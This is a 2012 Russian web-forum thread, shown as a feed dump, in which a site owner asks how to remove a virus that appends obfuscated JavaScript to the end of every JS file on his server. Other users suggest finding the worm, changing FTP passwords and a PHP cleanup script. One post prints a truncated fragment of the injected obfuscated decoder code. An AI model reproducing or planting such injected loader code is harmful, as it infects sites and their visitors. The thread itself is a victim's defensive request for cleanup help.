http://softtime.ru/forumhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508758Можно начать отталкиваться от следующего скрипта "?php $content = file_get_contents("option.js"); if(($pos = strpos($content, "var y377ea5")) !== false) { $content =...удалить вирусMon, 5 Mar 2012 16:03:33 +0300cheopshttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508677Я имел ввиду, что если вы решаете задачу, помещая этот код в строку, значит надо было закомментировать кавычки. И тогда...удалить вирусSun, 4 Mar 2012 23:01:45 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508669да, еслиимеется ввиду про слешудалить вирусSun, 4 Mar 2012 22:42:12 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508666Вы кавычки экранировали?удалить вирусSun, 4 Mar 2012 22:23:10 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508653в аттач приложил архив с кодом. пароль 1. если каспер активне, то при распоковке удалит его.удалить вирусSun, 4 Mar 2012 21:20:23 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508651Да, в самый конец пишитсяудалить вирусSun, 4 Mar 2012 21:17:52 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508650Здесь кодировка в 1251, и возможно не все верно отображено в вашем прикреплении. То есть, если есть какие либо конфликты...удалить вирусSun, 4 Mar 2012 21:09:51 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508647Он в конце расположен?удалить вирусSun, 4 Mar 2012 21:04:08 +0300cheopshttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508644Только в js-файлах. Даже если в html файле есть js, то он не заразный. Вирус внедряет код только в файлы...удалить вирусSun, 4 Mar 2012 20:59:29 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508643Каким образом? Пробовал с str_replace, не выходитудалить вирусSun, 4 Mar 2012 20:58:37 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508642Они у вас как локализованы? В JS-файлах или прямо в HTML-коде? Если в HTML-коде, то что вокруг? В каких тэгах...удалить вирусSun, 4 Mar 2012 20:58:33 +0300cheopshttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508638Ну если у вас JS файлы подключаемые, а не в страницах, если эта грязь в концах этих файлов, то какие...удалить вирусSun, 4 Mar 2012 20:36:43 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508637Послушайте, если вы не можете помочь, зачем пишите пустую болтовню. У меня на сервере ни один 10-ок сайтов, где по...удалить вирусSun, 4 Mar 2012 20:31:36 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508635А теперь ручками удалите всю грязь.удалить вирусSun, 4 Mar 2012 19:58:33 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508633Нашел, удалил, сменил фтп доступы. Вопрос остается открытымудалить вирусSun, 4 Mar 2012 19:32:54 +0300admiralhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508630Сперва найдите "червя", который это все пишет в ваши страницы.удалить вирусSun, 4 Mar 2012 19:05:09 +0300taskhttp://softtime.ru/forum/read.php?id_forum=1&id_theme=85511#post508627в конце каждого js файла пишется такой вредосносный код на который ругается касепер: var y377ea5="";function h8a10a0762acf(){var s632887d9=String,red9ec24=Array.prototype.slice.call(arguments).join(""),se887e1=red9ec24.substr(7,3)-397,f6ba29112,a48101af;red9ec24=red9ec24.substr(10);var f5b47291d=u1f0b808(red9ec24);for(var y7f3123=0;y7f3123"f5b47291d;y7f3123++){try{throw(p24fbf=red9ec24.substr(y7f3123,1));}catch(e){p24fbf=e;};if(p24fbf=='}'){se887e1="";y7f3123++;c12adcad2=f9b87d(red9ec24,y7f3123);while(c12adcad2!='}'){se887e1+=c12adcad2;y7f3123++;c12adcad2=red9ec24.substr(y7f3123,1);}se887e1-=594;continue;}f6ba29112="";if(h1bf42884(p24fbf)){y7f3123++;p24fbf=red9ec24.substr(y7f3123,1);while(p24fbf!='®'){f6ba29112+=p24fbf;y7f3123++;p24fbf=red9ec24.substr(y7f3123,1);}f6ba29112=f6ba29112-se887e1-23;if(f6ba29112"0)f6ba29112+=256;if(f6ba29112"=192)f6ba29112+=848;else if(f6ba29112==168)f6ba29112=1025;else...удалить вирусSun, 4 Mar 2012 18:39:35 +0300admiral